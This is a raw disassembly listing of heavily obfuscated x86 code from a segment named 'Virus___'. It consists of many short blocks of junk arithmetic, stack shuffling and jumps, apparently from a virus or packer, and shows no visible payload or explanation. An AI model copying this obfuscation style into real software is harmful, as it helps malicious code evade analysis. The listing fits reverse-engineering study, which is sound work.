		sub	ebx, esi
		push	esi
		jmp	loc_5539DD
; ---------------------------------------------------------------------------


loc_55B494:				; CODE XREF: Virus___:0055C952j
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5574F3
; ---------------------------------------------------------------------------


loc_55B4A4:				; CODE XREF: Virus___:00561E93j
		add	esp, 4
		not	ebp
		not	ebp
		push	7685h
		mov	[esp], eax
		mov	eax, 3EAB302Bh
		not	eax
		inc	eax
		sub	eax, 8B3780CCh
		or	ebp, eax
		pop	eax
		sub	ebp, 22E66CEEh
		add	ebp, 58B1CEBCh
		xor	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, eax
		mov	ebx, ebp
		jmp	loc_551AD4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_559E4C
; ---------------------------------------------------------------------------


loc_55B4F3:				; CODE XREF: Virus___:0055E707j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	ecx
		sub	eax, 2B615C17h
		jmp	loc_554D56
; ---------------------------------------------------------------------------


loc_55B50B:				; CODE XREF: Virus___:00559340j
		push	esi
		mov	esi, 3D9623FFh
		sub	[esp+8], esi
		jmp	loc_563BC7
; ---------------------------------------------------------------------------


loc_55B51A:				; CODE XREF: Virus___:00554227j
		mov	dh, 7Dh
		xor	dh, 0A7h
		add	ah, dh
		pop	edx
		jmp	loc_552E19
; ---------------------------------------------------------------------------


loc_55B527:				; CODE XREF: Virus___:0055E475j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5573F3
; ---------------------------------------------------------------------------


loc_55B533:				; CODE XREF: Virus___:0055E302j
		or	ebx, 295E0481h
		add	ebx, 0C2808009h
		add	ebp, ebx
		pop	ebx
		jmp	loc_55FA90
; ---------------------------------------------------------------------------


loc_55B547:				; CODE XREF: Virus___:0055ED5Bj
		pop	ebx
		xor	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	ecx
		mov	ecx, 4000h
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55C2CC
; ---------------------------------------------------------------------------


loc_55B56E:				; CODE XREF: Virus___:00557D78j
		mov	esi, 19AD0FD3h
		or	esi, 3BB60341h
		xor	esi, 64856E90h
		jmp	loc_55E6E5
; ---------------------------------------------------------------------------


loc_55B584:				; CODE XREF: Virus___:0056157Aj
		pop	esp
		push	ebp
		mov	ebp, 0BE53E589h
		sub	ecx, 7949739Eh
		add	ecx, ebp
		jmp	loc_55875B
; ---------------------------------------------------------------------------


loc_55B598:				; CODE XREF: Virus___:0055B897j
		xor	ebp, 0E6DDC1D9h
		mov	edi, ebp
		jmp	loc_551B13
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4B9Eh
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_550C86
; ---------------------------------------------------------------------------


loc_55B5C3:				; CODE XREF: Virus___:00560421j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_561AA8
; ---------------------------------------------------------------------------


loc_55B5D1:				; CODE XREF: Virus___:00554172j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557F3B
; ---------------------------------------------------------------------------


loc_55B5E5:				; CODE XREF: Virus___:00550FEAj
		push	4966h
		jmp	loc_564AD8
; ---------------------------------------------------------------------------


loc_55B5EF:				; CODE XREF: Virus___:005520D6j
		mov	[esp], eax
		push	6996h
		mov	[esp], ecx
		jmp	loc_55A683
; ---------------------------------------------------------------------------


loc_55B5FF:				; CODE XREF: Virus___:00557E2Bj
		mov	[esp], edi
		jmp	loc_56403D
; ---------------------------------------------------------------------------


loc_55B607:				; CODE XREF: Virus___:0055C691j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B60C:				; CODE XREF: Virus___:0055C5B1j
		pop	esp
		add	ebx, 4
		push	ebp
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		jmp	loc_55483A
; ---------------------------------------------------------------------------


loc_55B621:				; CODE XREF: Virus___:00552410j
		mov	ecx, 16E2573Bh
		shr	ecx, 5
		sub	ecx, 1
		push	edx
		push	eax
		jmp	loc_558DB0
; ---------------------------------------------------------------------------


loc_55B636:				; CODE XREF: Virus___:00559379j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B63B:				; CODE XREF: Virus___:00556BCBj
		add	cl, bl
		add	cl, 0A2h
		pop	ebx
		shr	cl, 6
		shl	cl, 2
		xor	cl, 0BBh
		push	ecx
		jmp	loc_551AB5
; ---------------------------------------------------------------------------


loc_55B650:				; CODE XREF: Virus___:00560FF5j
		push	36B5h
		mov	[esp], esp
		jmp	loc_55367C
; ---------------------------------------------------------------------------


loc_55B65D:				; CODE XREF: Virus___:005585ACj
		mov	edi, 0E4107CCh
		and	edi, 3DF82715h
		jmp	loc_551B9E
; ---------------------------------------------------------------------------


loc_55B66D:				; CODE XREF: Virus___:0055DC96j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		jmp	loc_558F0C
; ---------------------------------------------------------------------------


loc_55B67E:				; CODE XREF: Virus___:005513F1j
		add	bl, 6Eh
		add	bl, al
		sub	bl, 6Eh
		sub	esp, 4
		jmp	loc_557795
; ---------------------------------------------------------------------------


loc_55B68E:				; CODE XREF: Virus___:00550E80j
		push	ebx
		jmp	loc_5522C0
; ---------------------------------------------------------------------------


loc_55B694:				; CODE XREF: Virus___:00559224j
		mov	[esp], esi
		mov	esi, 27AC3244h
		mov	ebp, esi
		pop	esi
		shl	ebp, 1
		add	ebp, 51C36F91h
		xor	ebp, 0EC26D92Ah
		xor	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 38777EC9h
		inc	esi
		xor	esi, 21D96CA3h
		or	edi, esi
		pop	esi
		shl	edi, 8
		add	edi, 1
		add	edi, 587C2B4Ah
		jmp	loc_56109D
; ---------------------------------------------------------------------------


loc_55B6D1:				; CODE XREF: Virus___:005592A2j
		push	edi
		jmp	loc_560617
; ---------------------------------------------------------------------------


loc_55B6D7:				; CODE XREF: Virus___:0055652Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_562B24
; ---------------------------------------------------------------------------


loc_55B6EC:				; CODE XREF: Virus___:0055009Aj
		push	edx
		mov	edx, 4
		sub	ebp, 780712EBh
		add	ebp, edx
		jmp	loc_5502CF
; ---------------------------------------------------------------------------


loc_55B6FF:				; CODE XREF: Virus___:00564C71j
		mov	eax, esp
		push	edx
		jmp	loc_555A62
; ---------------------------------------------------------------------------


loc_55B707:				; CODE XREF: Virus___:00564702j
		mov	[esp], edi
		jmp	loc_560C83
; ---------------------------------------------------------------------------


loc_55B70F:				; CODE XREF: Virus___:0056095Aj
		push	eax
		mov	al, 83h
		not	al
		inc	al
		jmp	loc_563335
; ---------------------------------------------------------------------------


loc_55B71B:				; CODE XREF: Virus___:0054FDBFj
		mov	esp, [esp]
		div	cl
		jmp	loc_562FA6
; ---------------------------------------------------------------------------


loc_55B725:				; CODE XREF: Virus___:005639F9j
		mov	[esp], eax
		push	ebp
		mov	ebp, 424F5156h
		neg	ebp
		jmp	loc_55F112
; ---------------------------------------------------------------------------


loc_55B735:				; CODE XREF: Virus___:005573B0j
		add	esi, ebx
		jmp	loc_555311
; ---------------------------------------------------------------------------


loc_55B73C:				; CODE XREF: Virus___:0055293Bj
		push	esi
		mov	esi, 73B50F30h
		neg	esi
		add	esi, 0B1A87DAEh
		xor	ecx, esi
		pop	esi
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_554D7E
; ---------------------------------------------------------------------------


loc_55B75B:				; CODE XREF: Virus___:00561D58j
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_556934
; ---------------------------------------------------------------------------


loc_55B76A:				; CODE XREF: Virus___:0055ECF4j
		push	edx
		push	0C6Dh
		mov	[esp], ecx
		push	edx
		mov	dl, 73h
		push	ebx
		mov	bh, dl
		mov	cl, bh
		pop	ebx
		pop	edx
		push	ebx
		jmp	loc_55A731
; ---------------------------------------------------------------------------


loc_55B783:				; CODE XREF: Virus___:005525E7j
		push	62DC020Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_562718
; ---------------------------------------------------------------------------


loc_55B7A9:				; CODE XREF: Virus___:00559E37j
		add	esp, 4
		and	eax, 534730FCh
		shr	eax, 3
		dec	eax
		xor	eax, 6F17C8FBh
		xor	ecx, eax
		pop	eax
		add	edi, ecx
		jmp	loc_56380B
; ---------------------------------------------------------------------------


loc_55B7C4:				; CODE XREF: Virus___:005637A4j
		and	edx, 42022687h
		xor	edx, 319A760Bh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_556607
; ---------------------------------------------------------------------------


loc_55B7E9:				; CODE XREF: Virus___:005614A6j
		mov	ebp, eax
		pop	eax
		xor	ebp, edi
		pop	edi
		push	esi
		push	edi
		jmp	loc_55AAD8
; ---------------------------------------------------------------------------


loc_55B7F6:				; CODE XREF: Virus___:0055648Dj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	esi, 103A5830h
		add	esi, 2C12BADh
		pop	ebx
		jmp	loc_55BB82
; ---------------------------------------------------------------------------


loc_55B80D:				; CODE XREF: Virus___:0055EBAAj
		add	esp, 4
		pop	ebp
		jmp	loc_557380
; ---------------------------------------------------------------------------


loc_55B819:				; CODE XREF: Virus___:005557AAj
		push	eax
		mov	eax, 28C13E57h
		mov	ebx, 785502EBh
		jmp	loc_5561A8
; ---------------------------------------------------------------------------


loc_55B829:				; CODE XREF: Virus___:00558651j
		add	esp, 4
		add	edi, 4
		add	edi, 2
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 4F5A04BBh
		shr	ebx, 3
		xchg	esi, ebx
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		xchg	esi, ebx
		jmp	loc_554450
; ---------------------------------------------------------------------------


loc_55B867:				; CODE XREF: Virus___:005587ECj
		xor	ebx, 219F66F4h
		sub	esp, 4
		jmp	loc_564304
; ---------------------------------------------------------------------------


loc_55B878:				; CODE XREF: Virus___:005555AEj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_562F3D
; ---------------------------------------------------------------------------


loc_55B885:				; CODE XREF: Virus___:00563591j
		xor	edx, 26A71A6Fh
		xor	edi, edx
		pop	edx
		mov	ebp, edi
		pop	edi
		sub	ebp, 502378AEh
		jmp	loc_55B598
; ---------------------------------------------------------------------------


loc_55B89C:				; CODE XREF: Virus___:00559F8Aj
		xor	edi, 7C1D4002h
		sub	edi, 34327FC1h
		xor	edi, 0DFE8D607h
		add	ebp, edi
		pop	edi
		push	32B3h
		jmp	loc_55D083
; ---------------------------------------------------------------------------


loc_55B8BB:				; CODE XREF: Virus___:0055AB44j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54FC9D
; ---------------------------------------------------------------------------


loc_55B8C9:				; CODE XREF: Virus___:00559987j
		not	edx
		push	3D63h
		jmp	loc_55EF30
; ---------------------------------------------------------------------------
		push	399Eh
		jmp	loc_5577B4
; ---------------------------------------------------------------------------


loc_55B8DF:				; CODE XREF: Virus___:005509A7j
		xchg	ebp, [esp]
		jmp	loc_556243
; ---------------------------------------------------------------------------


loc_55B8E7:				; CODE XREF: Virus___:005551E4j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B8FA:				; CODE XREF: Virus___:00553C9Fj
		xor	ecx, 627F64D9h
		neg	ecx
		jmp	loc_563486
; ---------------------------------------------------------------------------


loc_55B907:				; CODE XREF: Virus___:005637FEj
		push	ecx
		mov	ecx, 4F26620Dh
		sub	ebx, 3E270D34h
		add	ebx, ecx
		jmp	loc_5596ED
; ---------------------------------------------------------------------------


loc_55B91A:				; CODE XREF: Virus___:00551960j
		push	537h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ch, 58h
		inc	ch
		jmp	loc_555E96
; ---------------------------------------------------------------------------


loc_55B93A:				; CODE XREF: Virus___:0055D527j
		add	dword ptr [esp], 167340F8h
		push	edx
		mov	edx, 68E5574h
		add	[esp+4], edx
		pop	edx
		add	[esp], eax
		jmp	loc_557987
; ---------------------------------------------------------------------------


loc_55B954:				; CODE XREF: Virus___:005545D7j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_551D52
; ---------------------------------------------------------------------------


loc_55B961:				; CODE XREF: Virus___:00562986j
		pop	edx
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		jmp	loc_563FA6
; ---------------------------------------------------------------------------


loc_55B973:				; CODE XREF: Virus___:0054FBE7j
		pop	edx
		add	edx, 311640AEh
		add	edx, edi
		sub	edx, 311640AEh
		pop	edi
		jmp	loc_551727
; ---------------------------------------------------------------------------


loc_55B988:				; CODE XREF: Virus___:00561DFCj
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_55136B
; ---------------------------------------------------------------------------


loc_55B9A0:				; CODE XREF: Virus___:0055B178j
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	4F34745Eh
		pop	ebp
		push	edx
		mov	edx, 4F34745Fh
		mov	[edi+20h], edx
		push	dword ptr [esp]
		jmp	loc_551D69
; ---------------------------------------------------------------------------


loc_55B9D2:				; CODE XREF: Virus___:005578CFj
		shr	bl, 6
		jmp	loc_5643D6
; ---------------------------------------------------------------------------


loc_55B9DA:				; CODE XREF: Virus___:0055D492j
		push	esp
		pop	ebp
		push	ecx
		push	1E4Dh
		jmp	loc_554F61
; ---------------------------------------------------------------------------


loc_55B9E7:				; CODE XREF: Virus___:005543ABj
		or	esi, 51287B81h
		sub	esi, 7FFC7F7Dh
		sub	edi, 40860A91h
		add	edi, esi
		push	ebx
		jmp	loc_54F80A
; ---------------------------------------------------------------------------


loc_55BA01:				; CODE XREF: Virus___:0055C6C6j
		not	bh
		xor	bh, 0F6h
		mov	ah, bh
		pop	ebx
		push	ebx
		jmp	loc_54FBA9
; ---------------------------------------------------------------------------


loc_55BA0F:				; CODE XREF: Virus___:00563F5Cj
		inc	dl
		jmp	loc_55FB7E
; ---------------------------------------------------------------------------


loc_55BA16:				; CODE XREF: Virus___:00550403j
		or	bh, dl
		pop	dx
		add	bh, 3
		not	bh
		jmp	loc_552D8D
; ---------------------------------------------------------------------------


loc_55BA24:				; CODE XREF: Virus___:005513D3j
		shr	dh, 7
		jmp	loc_55C333
; ---------------------------------------------------------------------------


loc_55BA2C:				; CODE XREF: Virus___:0055C45Cj
		sub	edi, 0BEDDEFDEh
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55F128
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55BA4F:				; CODE XREF: Virus___:00556058j
		add	esp, 4
		not	eax
		jmp	loc_563A68
; ---------------------------------------------------------------------------


loc_55BA5C:				; CODE XREF: Virus___:0055E96Fj
		pop	ebx
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 552334C1h
		push	ecx
		mov	ecx, ebp
		jmp	loc_5508A8
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		push	esp
		jmp	loc_564A69
; ---------------------------------------------------------------------------


loc_55BA85:				; CODE XREF: Virus___:0055277Bj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55EB8C
; ---------------------------------------------------------------------------


loc_55BAA8:				; CODE XREF: Virus___:00557CE8j
		add	edx, edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0D320Ch
		add	edx, 2F3A5B1Fh
		sub	edx, 24823978h
		sub	edx, ecx
		add	edx, 24823978h
		sub	edx, 2F3A5B1Fh
		pop	ecx
		mov	eax, [edx]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55231A
; ---------------------------------------------------------------------------


loc_55BAE4:				; CODE XREF: Virus___:005528B9j
		xor	ebx, 0D8FA246Eh
		sub	edi, ebx
		jmp	loc_55E4FF
; ---------------------------------------------------------------------------


loc_55BAF1:				; CODE XREF: Virus___:00555132j
		pop	ebp
		xor	ebp, 67881832h
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55A788
; ---------------------------------------------------------------------------


loc_55BB11:				; CODE XREF: Virus___:00562C20j
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55BB1C:				; CODE XREF: Virus___:005648C3j
		add	bh, al
		add	bh, 73h
		mov	eax, [esp]
		add	esp, 4
		xor	al, bh
		jmp	loc_5589A5
; ---------------------------------------------------------------------------


loc_55BB31:				; CODE XREF: Virus___:00561FC4j
		add	edi, 15C6097Ah
		push	ecx
		mov	ecx, 320B6671h
		add	ecx, 467B3DC0h
		shl	ecx, 4
		xor	ecx, 34664E3h
		sub	ecx, 77740ADFh
		add	edi, ecx
		pop	ecx
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, eax
		mov	ebp, esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_55D69B
; ---------------------------------------------------------------------------


loc_55BB6C:				; CODE XREF: Virus___:00558D1Ej
		shr	edi, 8
		xor	edi, 49F53928h
		jmp	loc_5625EA
; ---------------------------------------------------------------------------


loc_55BB7A:				; CODE XREF: Virus___:00550FFDj
		mov	ecx, [esp]
		jmp	loc_552D85
; ---------------------------------------------------------------------------


loc_55BB82:				; CODE XREF: Virus___:0055B808j
		xor	esi, [esp]
		jmp	loc_554EB6
; ---------------------------------------------------------------------------


loc_55BB8A:				; CODE XREF: Virus___:00555104j
		pop	edi
		push	156Ah
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_564286
; ---------------------------------------------------------------------------


loc_55BB9C:				; CODE XREF: Virus___:0056096Ej
		sub	edi, 1F91326Ch
		add	edi, eax
		add	edi, 1F91326Ch
		add	edi, 35C041B1h
		pop	eax
		push	1DC3h
		jmp	loc_552D1A
; ---------------------------------------------------------------------------


loc_55BBBB:				; CODE XREF: Virus___:0055907Ej
		add	esp, 4
		jmp	loc_561BF6
; ---------------------------------------------------------------------------


loc_55BBC3:				; CODE XREF: Virus___:005640F2j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5547B1
; ---------------------------------------------------------------------------


loc_55BBCC:				; CODE XREF: Virus___:00551E21j
		pop	ebp
		shl	edi, 5
		add	edi, 0D225278h
		not	edi
		sub	edi, 747B2B47h
		push	ebp
		jmp	loc_55FE38
; ---------------------------------------------------------------------------


loc_55BBE4:				; CODE XREF: Virus___:00561858j
		mov	eax, ebx
		pop	ebx
		xor	eax, 7D1B054Fh
		sub	eax, 5A340EDFh
		jmp	loc_562D51
; ---------------------------------------------------------------------------


loc_55BBF6:				; CODE XREF: Virus___:005559C1j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 16D14318h
		inc	eax
		add	eax, 3E70231Ch
		shl	eax, 7
		and	eax, 37C6241Dh
		push	edx
		jmp	loc_5567A5
; ---------------------------------------------------------------------------


loc_55BC18:				; CODE XREF: Virus___:005528A3j
		mov	[esp], edx
		mov	edx, 7CF10DCEh
		jmp	loc_5558E8
; ---------------------------------------------------------------------------


loc_55BC25:				; CODE XREF: Virus___:0055C2B2j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_562298
; ---------------------------------------------------------------------------


loc_55BC36:				; CODE XREF: Virus___:00562F0Fj
		or	ebx, 21D82784h
		and	ebx, 267317D4h
		add	ebx, 1A1C4A8Fh
		or	ebp, ebx
		jmp	loc_562823
; ---------------------------------------------------------------------------


loc_55BC4F:				; CODE XREF: Virus___:0056047Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_563C5D
; ---------------------------------------------------------------------------


loc_55BC64:				; CODE XREF: Virus___:00556E85j
		xor	al, bl
		push	ecx
		jmp	loc_55C46B
; ---------------------------------------------------------------------------


loc_55BC6C:				; CODE XREF: Virus___:0055E95Dj
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	small word ptr [esp]
		xor	dx, cx
		jmp	loc_55829E
; ---------------------------------------------------------------------------


loc_55BC7E:				; CODE XREF: Virus___:005622C2j
		push	eax
		mov	eax, 4
		add	esi, 688300BFh
		jmp	loc_564780
; ---------------------------------------------------------------------------


loc_55BC8F:				; CODE XREF: Virus___:00555EBAj
		mov	ebp, 6B2A1A6Dh
		push	edx
		mov	edx, 69E97321h
		add	ebp, 7CDD0E10h
		sub	ebp, edx
		sub	ebp, 7CDD0E10h
		jmp	loc_5600AD
; ---------------------------------------------------------------------------


loc_55BCAD:				; CODE XREF: Virus___:005569C1j
		push	514Fh
		mov	[esp], edi
		mov	edi, 4CAC2CF5h
		jmp	loc_5528A8
; ---------------------------------------------------------------------------


loc_55BCBF:				; CODE XREF: Virus___:005579CDj
		mov	bl, al
		pop	eax
		jmp	loc_5524E8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_554138
; ---------------------------------------------------------------------------


loc_55BCD0:				; CODE XREF: Virus___:0055C44Aj
		pop	ebx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55BCE2:				; CODE XREF: Virus___:0054FC85j
		push	esp
		jmp	loc_55424A
; ---------------------------------------------------------------------------


loc_55BCE8:				; CODE XREF: Virus___:00554983j
		pop	edi
		jmp	loc_55734E
; ---------------------------------------------------------------------------


loc_55BCEE:				; CODE XREF: Virus___:0055E1C3j
		add	ecx, eax
		pop	eax
		pop	edi
		add	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		sub	ebp, 777A4C16h
		push	7FD1h
		jmp	loc_559003
; ---------------------------------------------------------------------------


loc_55BD0B:				; CODE XREF: Virus___:00551A1Cj
		pop	ebx
		mov	bl, cl
		pop	ecx
		mov	dh, bl
		pop	ebx
		jmp	loc_5606C0
; ---------------------------------------------------------------------------


loc_55BD17:				; CODE XREF: Virus___:005611C2j
		add	eax, 2C33491Eh
		shl	eax, 2
		and	eax, 55E20BCAh
		xor	eax, 0B2149FF5h
		xor	edi, eax
		jmp	loc_560501
; ---------------------------------------------------------------------------


loc_55BD30:				; CODE XREF: Virus___:005524B5j
		mov	cl, 8Ah
		xchg	dh, cl
		not	dh
		xchg	dh, cl
		shl	cl, 5
		shl	cl, 3
		add	cl, 46h
		jmp	loc_55833A
; ---------------------------------------------------------------------------


loc_55BD46:				; CODE XREF: Virus___:0055A6C7j
		pop	esp
		push	esi
		mov	esi, 4
		sub	ebp, 6C915CC4h
		sub	ebp, 5C18733Eh
		add	ebp, esi
		jmp	loc_56071A
; ---------------------------------------------------------------------------


loc_55BD60:				; CODE XREF: Virus___:0055CE1Fj
		add	esi, 4
		jmp	loc_5643EE
; ---------------------------------------------------------------------------


loc_55BD6B:				; CODE XREF: Virus___:0055E17Cj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_556077
; ---------------------------------------------------------------------------


loc_55BD76:				; CODE XREF: Virus___:0056034Aj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_556377
; ---------------------------------------------------------------------------


loc_55BD84:				; CODE XREF: Virus___:0055348Cj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 25B53B66h
		shr	eax, 8
		and	eax, 7B6F5C56h
		sub	eax, 76D832B5h
		shr	eax, 4
		xor	eax, 25009D3Bh
		add	ebx, eax
		pop	eax
		mov	ecx, [esp]
		jmp	loc_55064C
; ---------------------------------------------------------------------------


loc_55BDBA:				; CODE XREF: Virus___:0055DE37j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 2
		mov	ecx, edx
		pop	edx
		jmp	loc_5552A4
; ---------------------------------------------------------------------------


loc_55BDCF:				; CODE XREF: Virus___:0055C183j
		not	esi
		xor	esi, 99B73EFFh
		add	ebp, esi
		pop	esi
		or	edi, ebp
		pop	ebp
		neg	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6D9E5D27h
		xor	edi, edx
		jmp	loc_55A824
; ---------------------------------------------------------------------------


loc_55BDF4:				; CODE XREF: Virus___:0055FA93j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	49BAh
		mov	[esp], eax
		push	esi
		jmp	loc_558461
; ---------------------------------------------------------------------------


loc_55BE0C:				; CODE XREF: Virus___:0055FBB2j
		shr	bh, 7
		jmp	loc_5616A7
; ---------------------------------------------------------------------------


loc_55BE14:				; CODE XREF: Virus___:00558A79j
		add	edi, ecx
		sub	edi, 72DF4185h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_551B1F
; ---------------------------------------------------------------------------


loc_55BE36:				; CODE XREF: Virus___:0055F1BFj
		mov	[esp], ecx
		jmp	loc_55974E
; ---------------------------------------------------------------------------


loc_55BE3E:				; CODE XREF: Virus___:00564740j
		pop	ebx
		add	ebx, 4
		jmp	loc_553FD4
; ---------------------------------------------------------------------------


loc_55BE4A:				; CODE XREF: Virus___:0055A332j
		shl	edi, 7
		push	11F4h
		jmp	loc_55CB71
; ---------------------------------------------------------------------------


loc_55BE57:				; CODE XREF: Virus___:0055808Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	21D2h
		jmp	loc_55C490
; ---------------------------------------------------------------------------


loc_55BE67:				; CODE XREF: Virus___:0055028Bj
		pop	ebp
		jmp	loc_55E7EF
; ---------------------------------------------------------------------------


loc_55BE6D:				; CODE XREF: Virus___:00558480j
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	0F49h
		mov	[esp], ebx
		push	eax
		mov	eax, 4
		jmp	loc_551489
; ---------------------------------------------------------------------------


loc_55BE96:				; CODE XREF: Virus___:00560D68j
		dec	edx
		sub	edx, 991F19C0h
		mov	esi, edx
		pop	edx
		not	esi
		sub	esi, 1FAE6CD9h
		add	esi, 199655A0h
		jmp	loc_5526E6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5506F6
; ---------------------------------------------------------------------------


loc_55BEBB:				; CODE XREF: Virus___:0055C1F9j
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55E6FE
; ---------------------------------------------------------------------------


loc_55BEC7:				; CODE XREF: Virus___:00551F2Bj
		mov	ebx, 28304356h
		add	ebx, 5AC83E34h
		add	ebx, 0D9F38FA1h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55D83F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55AF5E
; ---------------------------------------------------------------------------


loc_55BEE8:				; CODE XREF: Virus___:00554535j
		add	ecx, 0CDB7344Bh
		push	ecx
		pop	esi
		pop	ecx
		mov	ebp, esi
		jmp	loc_560A62
; ---------------------------------------------------------------------------


loc_55BEF8:				; CODE XREF: Virus___:005557E6j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55039F
; ---------------------------------------------------------------------------


loc_55BF03:				; CODE XREF: Virus___:0055AB91j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55A6F7
; ---------------------------------------------------------------------------


loc_55BF18:				; CODE XREF: Virus___:005610A3j
		push	eax
		mov	eax, 4F25ABDh
		neg	eax
		dec	eax
		xor	eax, 2B85588Ah
		neg	eax
		xor	eax, 688B04B5h
		add	ebp, eax
		pop	eax
		jmp	loc_5527CC
; ---------------------------------------------------------------------------


loc_55BF35:				; CODE XREF: Virus___:0055D6C1j
		shl	ch, 2
		xor	ch, 42h
		jmp	loc_5580B4
; ---------------------------------------------------------------------------


loc_55BF40:				; CODE XREF: Virus___:00551A06j
		add	esp, 4
		pop	ecx
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4DFE33E8h
		jmp	loc_5577E8
; ---------------------------------------------------------------------------


